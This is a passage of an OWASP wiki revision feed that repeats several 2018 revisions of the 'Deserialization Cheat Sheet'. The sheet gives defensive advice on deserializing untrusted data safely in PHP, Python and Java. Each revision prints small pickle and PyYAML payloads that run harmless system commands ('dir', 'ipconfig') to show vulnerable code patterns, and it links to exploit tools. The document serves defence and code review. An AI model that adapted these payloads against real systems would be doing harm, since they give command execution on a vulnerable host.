&lt;br /&gt;
&amp;lt;pre&amp;gt;-javaagent:name-of-agent.jar&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Agents taking this approach have been released by various community members:&lt;br /&gt;
* [https://github.com/gocd/invoker-defender Invoker Defender by Go-CD]&lt;br /&gt;
* [https://github.com/Contrast-Security-OSS/contrast-rO0 rO0 by Contrast Security]&lt;br /&gt;
&lt;br /&gt;
A similar, but less scalable approach would be to manually patch and bootstrap your JVM's ObjectInputStream. Guidance on this approach is available [https://github.com/wsargent/paranoid-java-serialization here].&lt;br /&gt;
&lt;br /&gt;
= Language-Agnostic Methods for Deserializing Safely =&lt;br /&gt;
&lt;br /&gt;
==Using Alternative Data Formats==&lt;br /&gt;
A great reduction of risk is achieved by avoiding native (de)serialization formats. By switching to a pure data format like JSON or XML, you lessen the chance of custom deserialization logic being repurposed towards malicious ends.&lt;br /&gt;
&lt;br /&gt;
Many applications rely on a [https://en.wikipedia.org/wiki/Data_transfer_object data-transfer object pattern] that involves creating a separate domain of objects for the explicit purpose data transfer. Of course, it's still possible that the application will make security mistakes after a pure data object is parsed.&lt;br /&gt;
&lt;br /&gt;
==Only Deserialize Signed Data==&lt;br /&gt;
If the application knows before deserialization which messages will need to be processed, they could sign them as part of the serialization process. The application could then to choose not to deserialize any message which didn't have an authenticated signature.&lt;br /&gt;
&lt;br /&gt;
= References = &lt;br /&gt;
* [[Deserialization of untrusted data]]&lt;br /&gt;
* [[Media:GOD16-Deserialization.pdf|Java Deserialization Attacks - German OWASP Day 2016]]&lt;br /&gt;
* [http://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles AppSecCali 2015 - Marshalling Pickles]&lt;br /&gt;
* [http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#websphere FoxGlove Security - Vulnerability Announcement]&lt;br /&gt;
* [https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet Java deserialization cheat sheet aimed at pen testers]&lt;br /&gt;
* [https://github.com/frohoff/ysoserial A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.]&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
Arshan Dabirsiaghi - arshan [at] contrastsecurity dot org&amp;lt;br/&amp;gt;&lt;br /&gt;
Tony Hsu (Hsiang-Chih)&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Tony Hsu HsiangChih</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Deserialization_Cheat_Sheet&amp;diff=238660</id>
		<title>Deserialization Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Deserialization_Cheat_Sheet&amp;diff=238660"/>
				<updated>2018-03-16T10:11:04Z</updated>
		
		<summary type="html">&lt;p&gt;Tony Hsu HsiangChih: ref&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
= Introduction  = &lt;br /&gt;
&lt;br /&gt;
This article is focused on providing clear, actionable guidance for safely deserializing untrusted data in your applications.&lt;br /&gt;
&lt;br /&gt;
=What is Deserialization?=&lt;br /&gt;
&lt;br /&gt;
Serialization is the process of turning some object into a data format that can be restored later. People often serialize objects in order to save them to storage, or to send as part of communications. Deserialization is the reverse of that process -- taking data structured from some format, and rebuilding it into an object. Today, the most popular data format for serializing data is JSON. Before that, it was XML.&lt;br /&gt;
&lt;br /&gt;
However, many programming languages offer a native capability for serializing objects. These native formats usually offer more features than JSON or XML, including customizability of the serialization process. Unfortunately, the features of these native deserialization mechanisms can be repurposed for malicious effect when operating on untrusted data. Attacks against deserializers have been found to allow denial-of-service, access control, and remote code execution attacks.&lt;br /&gt;
&lt;br /&gt;
=Guidance on Deserializing Objects Safely=&lt;br /&gt;
The following language-specific guidance attempts to enumerate safe methodologies for deserializing data that can't be trusted. &lt;br /&gt;
&lt;br /&gt;
==PHP==&lt;br /&gt;
===WhiteBox Review===&lt;br /&gt;
Check the use of 'unserialize()' and review how the external parameters are accpected.&lt;br /&gt;
&lt;br /&gt;
==Python==&lt;br /&gt;
===BlackBox Review===&lt;br /&gt;
If the traffic data contains the symbol dot  .  at the end, it's very likely that the data was sent in serialization.&lt;br /&gt;
&lt;br /&gt;
===WhiteBox Review===&lt;br /&gt;
The following API in python will be vulenerable to serialization attack. Search code for the pattern below.&lt;br /&gt;
&lt;br /&gt;
1. The uses of pickle/c_pickle/_pickle with load/loads&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
  import pickle&lt;br /&gt;
  data = &amp;quot;&amp;quot;&amp;quot; cos.system(S'dir')tR. &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
  pickle.loads(data) &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. Uses of PyYAML wiht load&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
   import yaml&lt;br /&gt;
   document = &amp;quot;!!python/object/apply:os.system ['ipconfig']&amp;quot;&lt;br /&gt;
   print(yaml.load(document))&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. Uses of jsonpickle with encode or store methods&lt;br /&gt;
==Java==&lt;br /&gt;
The following techniques are all good for preventing attacks against deserialization against [http://docs.oracle.com/javase/7/docs/api/java/io/Serializable.html Java's Serializable format].&lt;br /&gt;
&lt;br /&gt;
Implementation: In your code, override the ObjectInputStream#resolveClass() method to prevent arbitrary classes from being deserialized. This safe behavior can be wrapped in a library like SerialKiller.&lt;br /&gt;
Implementation: Use a safe replacement for the generic readObject() method as seen here. Note that this addresses &amp;quot;billion laughs&amp;quot; type attacks by checking input length and number of objects deserialized.&lt;br /&gt;
&lt;br /&gt;
===WhiteBox Review ===&lt;br /&gt;
Be aware of the following Java API uses for potential serilization vulnerability.&lt;br /&gt;
  1. 'XMLdecoder' with external user defined parameters&lt;br /&gt;
  2. XStream with fromXML method. (xstream version &amp;lt;= v1.46 is vulnerable to the serialization issue.)&lt;br /&gt;
  3. 'ObjectInputSteam' with 'readObject'&lt;br /&gt;
  4. Uses of 'readObject' 'readObjectNodData' 'readResolve' 'readExternal'&lt;br /&gt;
&lt;br /&gt;
===Prevent Data Leakage and Trusted Field Clobbering===&lt;br /&gt;
If there are members of the object graph that should never be controlled by end users during deserialization or exposed to users during serialization, they should be marked with [https://docs.oracle.com/javase/7/docs/platform/serialization/spec/serial-arch.html#6250 the &amp;lt;code&amp;gt;transient&amp;lt;/code&amp;gt; keyword].&lt;br /&gt;
&lt;br /&gt;
===Prevent Deserialization of Domain Objects===&lt;br /&gt;
Some of your application objects may be forced to implement Serializable due to their hierarchy. To guarantee that your application objects can't be deserialized, a &amp;lt;code&amp;gt;readObject()&amp;lt;/code&amp;gt; should be declared (with a &amp;lt;code&amp;gt;final&amp;lt;/code&amp;gt; modifier) which always throws an exception.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;private final void readObject(ObjectInputStream in) throws java.io.IOException {&lt;br /&gt;
   throw new java.io.IOException(&amp;quot;Cannot be deserialized&amp;quot;);&lt;br /&gt;
}&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Harden Your Own java.io.ObjectInputStream===&lt;br /&gt;
The &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; class is used to deserialize objects. It's possible to harden its behavior by subclassing it. This is the best solution if:&lt;br /&gt;
&lt;br /&gt;
* You can change the code that does the deserialization&lt;br /&gt;
* You know what classes you expect to deserialize&lt;br /&gt;
&lt;br /&gt;
The general idea is to override [http://docs.oracle.com/javase/7/docs/api/java/io/ObjectInputStream.html#resolveClass(java.io.ObjectStreamClass) &amp;lt;code&amp;gt;ObjectInputStream.html#resolveClass()&amp;lt;/code&amp;gt;] in order to restrict which classes are allowed to be deserialized. Because this call happens before a &amp;lt;code&amp;gt;readObject()&amp;lt;/code&amp;gt; is called, you can be sure that no deserialization activity will occur unless the type is one that you wish to allow.  A simple example of this shown here, where the the LookAheadObjectInputStream class is guaranteed not to deserialize any other type besides the Bicycle class:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;public class LookAheadObjectInputStream extends ObjectInputStream {&lt;br /&gt;
&lt;br /&gt;
    public LookAheadObjectInputStream(InputStream inputStream) throws IOException {&lt;br /&gt;
        super(inputStream);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    /**&lt;br /&gt;
     * Only deserialize instances of our expected Bicycle class&lt;br /&gt;
     */&lt;br /&gt;
    @Override&lt;br /&gt;
    protected Class&amp;lt;?&amp;gt; resolveClass(ObjectStreamClass desc) throws IOException,&lt;br /&gt;
            ClassNotFoundException {&lt;br /&gt;
        if (!desc.getName().equals(Bicycle.class.getName())) {&lt;br /&gt;
            throw new InvalidClassException(&lt;br /&gt;
                    &amp;quot;Unauthorized deserialization attempt&amp;quot;,&lt;br /&gt;
                    desc.getName());&lt;br /&gt;
        }&lt;br /&gt;
        return super.resolveClass(desc);&lt;br /&gt;
    }&lt;br /&gt;
}&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
More complete implementations of this approach have been proposed by various community members:&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/ikkisoft/SerialKiller NibbleSec] - a library that allows whitelisting and blacklisting of classes that are allowed to be deserialized&lt;br /&gt;
* [https://www.ibm.com/developerworks/library/se-lookahead/ IBM] - the seminal protection, written years before the most devastating exploitation scenarios were envisioned.&lt;br /&gt;
&lt;br /&gt;
===Harden All java.io.ObjectInputStream Usage with an Agent===&lt;br /&gt;
As mentioned above, the &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; class is used to deserialize objects. It's possible to harden its behavior by subclassing it. However, if you don't own the code or can't wait for a patch, using an agent to weave in hardening to &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; is the best solution.&lt;br /&gt;
&lt;br /&gt;
Globally changing ObjectInputStream is only safe for blacklisting known malicious types, because it's not possible to know for all applications what the expected classes to be deserialized are. Fortunately, there are very few classes needed in the blacklist to be safe from all the known attack vectors, today. It's inevitable that more &amp;quot;gadget&amp;quot; classes will be discovered that can be abused. However, there is an incredible amount of vulnerable software&lt;br /&gt;
exposed today, in need of a fix. In some cases, &amp;quot;fixing&amp;quot; the vulnerability may involve re-architecting messaging systems and breaking backwards compatibility as developers move towards not accepting serialized objects.&lt;br /&gt;
&lt;br /&gt;
To enable these agents, simply add a new JVM parameter:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;-javaagent:name-of-agent.jar&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Agents taking this approach have been released by various community members:&lt;br /&gt;
* [https://github.com/gocd/invoker-defender Invoker Defender by Go-CD]&lt;br /&gt;
* [https://github.com/Contrast-Security-OSS/contrast-rO0 rO0 by Contrast Security]&lt;br /&gt;
&lt;br /&gt;
A similar, but less scalable approach would be to manually patch and bootstrap your JVM's ObjectInputStream. Guidance on this approach is available [https://github.com/wsargent/paranoid-java-serialization here].&lt;br /&gt;
&lt;br /&gt;
= Language-Agnostic Methods for Deserializing Safely =&lt;br /&gt;
&lt;br /&gt;
==Using Alternative Data Formats==&lt;br /&gt;
A great reduction of risk is achieved by avoiding native (de)serialization formats. By switching to a pure data format like JSON or XML, you lessen the chance of custom deserialization logic being repurposed towards malicious ends.&lt;br /&gt;
&lt;br /&gt;
Many applications rely on a [https://en.wikipedia.org/wiki/Data_transfer_object data-transfer object pattern] that involves creating a separate domain of objects for the explicit purpose data transfer. Of course, it's still possible that the application will make security mistakes after a pure data object is parsed.&lt;br /&gt;
&lt;br /&gt;
==Only Deserialize Signed Data==&lt;br /&gt;
If the application knows before deserialization which messages will need to be processed, they could sign them as part of the serialization process. The application could then to choose not to deserialize any message which didn't have an authenticated signature.&lt;br /&gt;
&lt;br /&gt;
= References = &lt;br /&gt;
* [[Deserialization of untrusted data]]&lt;br /&gt;
* [[Media:GOD16-Deserialization.pdf|Java Deserialization Attacks - German OWASP Day 2016]]&lt;br /&gt;
* [http://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles AppSecCali 2015 - Marshalling Pickles]&lt;br /&gt;
* [http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#websphere FoxGlove Security - Vulnerability Announcement]&lt;br /&gt;
* [https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet Java deserialization cheat sheet aimed at pen testers]&lt;br /&gt;
* [https://github.com/frohoff/ysoserial A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.]&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
Arshan Dabirsiaghi - arshan [at] contrastsecurity dot org&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Tony Hsu HsiangChih</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Deserialization_Cheat_Sheet&amp;diff=238659</id>
		<title>Deserialization Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Deserialization_Cheat_Sheet&amp;diff=238659"/>
				<updated>2018-03-16T10:09:37Z</updated>
		
		<summary type="html">&lt;p&gt;Tony Hsu HsiangChih: ref&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
= Introduction  = &lt;br /&gt;
&lt;br /&gt;
This article is focused on providing clear, actionable guidance for safely deserializing untrusted data in your applications.&lt;br /&gt;
&lt;br /&gt;
=What is Deserialization?=&lt;br /&gt;
&lt;br /&gt;
Serialization is the process of turning some object into a data format that can be restored later. People often serialize objects in order to save them to storage, or to send as part of communications. Deserialization is the reverse of that process -- taking data structured from some format, and rebuilding it into an object. Today, the most popular data format for serializing data is JSON. Before that, it was XML.&lt;br /&gt;
&lt;br /&gt;
However, many programming languages offer a native capability for serializing objects. These native formats usually offer more features than JSON or XML, including customizability of the serialization process. Unfortunately, the features of these native deserialization mechanisms can be repurposed for malicious effect when operating on untrusted data. Attacks against deserializers have been found to allow denial-of-service, access control, and remote code execution attacks.&lt;br /&gt;
&lt;br /&gt;
=Guidance on Deserializing Objects Safely=&lt;br /&gt;
The following language-specific guidance attempts to enumerate safe methodologies for deserializing data that can't be trusted. &lt;br /&gt;
&lt;br /&gt;
==PHP==&lt;br /&gt;
===WhiteBox Review===&lt;br /&gt;
Check the use of 'unserialize()' and review how the external parameters are accpected.&lt;br /&gt;
&lt;br /&gt;
==Python==&lt;br /&gt;
===BlackBox Review===&lt;br /&gt;
If the traffic data contains the symbol dot  .  at the end, it's very likely that the data was sent in serialization.&lt;br /&gt;
&lt;br /&gt;
===WhiteBox Review===&lt;br /&gt;
The following API in python will be vulenerable to serialization attack. Search code for the pattern below.&lt;br /&gt;
&lt;br /&gt;
1. The uses of pickle/c_pickle/_pickle with load/loads&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
  import pickle&lt;br /&gt;
  data = &amp;quot;&amp;quot;&amp;quot; cos.system(S'dir')tR. &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
  pickle.loads(data) &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. Uses of PyYAML wiht load&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
   import yaml&lt;br /&gt;
   document = &amp;quot;!!python/object/apply:os.system ['ipconfig']&amp;quot;&lt;br /&gt;
   print(yaml.load(document))&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. Uses of jsonpickle with encode or store methods&lt;br /&gt;
==Java==&lt;br /&gt;
The following techniques are all good for preventing attacks against deserialization against [http://docs.oracle.com/javase/7/docs/api/java/io/Serializable.html Java's Serializable format].&lt;br /&gt;
&lt;br /&gt;
Implementation: In your code, override the ObjectInputStream#resolveClass() method to prevent arbitrary classes from being deserialized. This safe behavior can be wrapped in a library like SerialKiller.&lt;br /&gt;
Implementation: Use a safe replacement for the generic readObject() method as seen here. Note that this addresses &amp;quot;billion laughs&amp;quot; type attacks by checking input length and number of objects deserialized.&lt;br /&gt;
&lt;br /&gt;
===WhiteBox Review ===&lt;br /&gt;
Be aware of the following Java API uses for potential serilization vulnerability.&lt;br /&gt;
  1. 'XMLdecoder' with external user defined parameters&lt;br /&gt;
  2. XStream with fromXML method. (xstream version &amp;lt;= v1.46 is vulnerable to the serialization issue.)&lt;br /&gt;
  3. 'ObjectInputSteam' with 'readObject'&lt;br /&gt;
  4. Uses of 'readObject' 'readObjectNodData' 'readResolve' 'readExternal'&lt;br /&gt;
&lt;br /&gt;
===Prevent Data Leakage and Trusted Field Clobbering===&lt;br /&gt;
If there are members of the object graph that should never be controlled by end users during deserialization or exposed to users during serialization, they should be marked with [https://docs.oracle.com/javase/7/docs/platform/serialization/spec/serial-arch.html#6250 the &amp;lt;code&amp;gt;transient&amp;lt;/code&amp;gt; keyword].&lt;br /&gt;
&lt;br /&gt;
===Prevent Deserialization of Domain Objects===&lt;br /&gt;
Some of your application objects may be forced to implement Serializable due to their hierarchy. To guarantee that your application objects can't be deserialized, a &amp;lt;code&amp;gt;readObject()&amp;lt;/code&amp;gt; should be declared (with a &amp;lt;code&amp;gt;final&amp;lt;/code&amp;gt; modifier) which always throws an exception.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;private final void readObject(ObjectInputStream in) throws java.io.IOException {&lt;br /&gt;
   throw new java.io.IOException(&amp;quot;Cannot be deserialized&amp;quot;);&lt;br /&gt;
}&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Harden Your Own java.io.ObjectInputStream===&lt;br /&gt;
The &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; class is used to deserialize objects. It's possible to harden its behavior by subclassing it. This is the best solution if:&lt;br /&gt;
&lt;br /&gt;
* You can change the code that does the deserialization&lt;br /&gt;
* You know what classes you expect to deserialize&lt;br /&gt;
&lt;br /&gt;
The general idea is to override [http://docs.oracle.com/javase/7/docs/api/java/io/ObjectInputStream.html#resolveClass(java.io.ObjectStreamClass) &amp;lt;code&amp;gt;ObjectInputStream.html#resolveClass()&amp;lt;/code&amp;gt;] in order to restrict which classes are allowed to be deserialized. Because this call happens before a &amp;lt;code&amp;gt;readObject()&amp;lt;/code&amp;gt; is called, you can be sure that no deserialization activity will occur unless the type is one that you wish to allow.  A simple example of this shown here, where the the LookAheadObjectInputStream class is guaranteed not to deserialize any other type besides the Bicycle class:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;public class LookAheadObjectInputStream extends ObjectInputStream {&lt;br /&gt;
&lt;br /&gt;
    public LookAheadObjectInputStream(InputStream inputStream) throws IOException {&lt;br /&gt;
        super(inputStream);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    /**&lt;br /&gt;
     * Only deserialize instances of our expected Bicycle class&lt;br /&gt;
     */&lt;br /&gt;
    @Override&lt;br /&gt;
    protected Class&amp;lt;?&amp;gt; resolveClass(ObjectStreamClass desc) throws IOException,&lt;br /&gt;
            ClassNotFoundException {&lt;br /&gt;
        if (!desc.getName().equals(Bicycle.class.getName())) {&lt;br /&gt;
            throw new InvalidClassException(&lt;br /&gt;
                    &amp;quot;Unauthorized deserialization attempt&amp;quot;,&lt;br /&gt;
                    desc.getName());&lt;br /&gt;
        }&lt;br /&gt;
        return super.resolveClass(desc);&lt;br /&gt;
    }&lt;br /&gt;
}&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
More complete implementations of this approach have been proposed by various community members:&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/ikkisoft/SerialKiller NibbleSec] - a library that allows whitelisting and blacklisting of classes that are allowed to be deserialized&lt;br /&gt;
* [https://www.ibm.com/developerworks/library/se-lookahead/ IBM] - the seminal protection, written years before the most devastating exploitation scenarios were envisioned.&lt;br /&gt;
&lt;br /&gt;
===Harden All java.io.ObjectInputStream Usage with an Agent===&lt;br /&gt;
As mentioned above, the &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; class is used to deserialize objects. It's possible to harden its behavior by subclassing it. However, if you don't own the code or can't wait for a patch, using an agent to weave in hardening to &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; is the best solution.&lt;br /&gt;
&lt;br /&gt;
Globally changing ObjectInputStream is only safe for blacklisting known malicious types, because it's not possible to know for all applications what the expected classes to be deserialized are. Fortunately, there are very few classes needed in the blacklist to be safe from all the known attack vectors, today. It's inevitable that more &amp;quot;gadget&amp;quot; classes will be discovered that can be abused. However, there is an incredible amount of vulnerable software&lt;br /&gt;
exposed today, in need of a fix. In some cases, &amp;quot;fixing&amp;quot; the vulnerability may involve re-architecting messaging systems and breaking backwards compatibility as developers move towards not accepting serialized objects.&lt;br /&gt;
&lt;br /&gt;
To enable these agents, simply add a new JVM parameter:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;-javaagent:name-of-agent.jar&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Agents taking this approach have been released by various community members:&lt;br /&gt;
* [https://github.com/gocd/invoker-defender Invoker Defender by Go-CD]&lt;br /&gt;
* [https://github.com/Contrast-Security-OSS/contrast-rO0 rO0 by Contrast Security]&lt;br /&gt;
&lt;br /&gt;
A similar, but less scalable approach would be to manually patch and bootstrap your JVM's ObjectInputStream. Guidance on this approach is available [https://github.com/wsargent/paranoid-java-serialization here].&lt;br /&gt;
&lt;br /&gt;
= Language-Agnostic Methods for Deserializing Safely =&lt;br /&gt;
&lt;br /&gt;
==Using Alternative Data Formats==&lt;br /&gt;
A great reduction of risk is achieved by avoiding native (de)serialization formats. By switching to a pure data format like JSON or XML, you lessen the chance of custom deserialization logic being repurposed towards malicious ends.&lt;br /&gt;
&lt;br /&gt;
Many applications rely on a [https://en.wikipedia.org/wiki/Data_transfer_object data-transfer object pattern] that involves creating a separate domain of objects for the explicit purpose data transfer. Of course, it's still possible that the application will make security mistakes after a pure data object is parsed.&lt;br /&gt;
&lt;br /&gt;
==Only Deserialize Signed Data==&lt;br /&gt;
If the application knows before deserialization which messages will need to be processed, they could sign them as part of the serialization process. The application could then to choose not to deserialize any message which didn't have an authenticated signature.&lt;br /&gt;
&lt;br /&gt;
= References = &lt;br /&gt;
* [[Deserialization of untrusted data]]&lt;br /&gt;
* [[Media:GOD16-Deserialization.pdf|Java Deserialization Attacks - German OWASP Day 2016]]&lt;br /&gt;
* [http://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles AppSecCali 2015 - Marshalling Pickles]&lt;br /&gt;
* [http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#websphere FoxGlove Security - Vulnerability Announcement]&lt;br /&gt;
* [https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet Java deserialization cheat sheet aimed at pen testers]&lt;br /&gt;
* [https://github.com/frohoff/ysoserial]&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
Arshan Dabirsiaghi - arshan [at] contrastsecurity dot org&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Tony Hsu HsiangChih</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Deserialization_Cheat_Sheet&amp;diff=238658</id>
		<title>Deserialization Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Deserialization_Cheat_Sheet&amp;diff=238658"/>
				<updated>2018-03-16T10:07:16Z</updated>
		
		<summary type="html">&lt;p&gt;Tony Hsu HsiangChih: Java , python, PHP whitebox review&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
= Introduction  = &lt;br /&gt;
&lt;br /&gt;
This article is focused on providing clear, actionable guidance for safely deserializing untrusted data in your applications.&lt;br /&gt;
&lt;br /&gt;
=What is Deserialization?=&lt;br /&gt;
&lt;br /&gt;
Serialization is the process of turning some object into a data format that can be restored later. People often serialize objects in order to save them to storage, or to send as part of communications. Deserialization is the reverse of that process -- taking data structured from some format, and rebuilding it into an object. Today, the most popular data format for serializing data is JSON. Before that, it was XML.&lt;br /&gt;
&lt;br /&gt;
However, many programming languages offer a native capability for serializing objects. These native formats usually offer more features than JSON or XML, including customizability of the serialization process. Unfortunately, the features of these native deserialization mechanisms can be repurposed for malicious effect when operating on untrusted data. Attacks against deserializers have been found to allow denial-of-service, access control, and remote code execution attacks.&lt;br /&gt;
&lt;br /&gt;
=Guidance on Deserializing Objects Safely=&lt;br /&gt;
The following language-specific guidance attempts to enumerate safe methodologies for deserializing data that can't be trusted. &lt;br /&gt;
&lt;br /&gt;
==PHP==&lt;br /&gt;
===WhiteBox Review===&lt;br /&gt;
Check the use of 'unserialize()' and review how the external parameters are accpected.&lt;br /&gt;
&lt;br /&gt;
==Python==&lt;br /&gt;
===BlackBox Review===&lt;br /&gt;
If the traffic data contains the symbol dot  .  at the end, it's very likely that the data was sent in serialization.&lt;br /&gt;
&lt;br /&gt;
===WhiteBox Review===&lt;br /&gt;
The following API in python will be vulenerable to serialization attack. Search code for the pattern below.&lt;br /&gt;
&lt;br /&gt;
1. The uses of pickle/c_pickle/_pickle with load/loads&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
  import pickle&lt;br /&gt;
  data = &amp;quot;&amp;quot;&amp;quot; cos.system(S'dir')tR. &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
  pickle.loads(data) &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. Uses of PyYAML wiht load&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
   import yaml&lt;br /&gt;
   document = &amp;quot;!!python/object/apply:os.system ['ipconfig']&amp;quot;&lt;br /&gt;
   print(yaml.load(document))&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. Uses of jsonpickle with encode or store methods&lt;br /&gt;
==Java==&lt;br /&gt;
The following techniques are all good for preventing attacks against deserialization against [http://docs.oracle.com/javase/7/docs/api/java/io/Serializable.html Java's Serializable format].&lt;br /&gt;
&lt;br /&gt;
Implementation: In your code, override the ObjectInputStream#resolveClass() method to prevent arbitrary classes from being deserialized. This safe behavior can be wrapped in a library like SerialKiller.&lt;br /&gt;
Implementation: Use a safe replacement for the generic readObject() method as seen here. Note that this addresses &amp;quot;billion laughs&amp;quot; type attacks by checking input length and number of objects deserialized.&lt;br /&gt;
&lt;br /&gt;
===WhiteBox Review ===&lt;br /&gt;
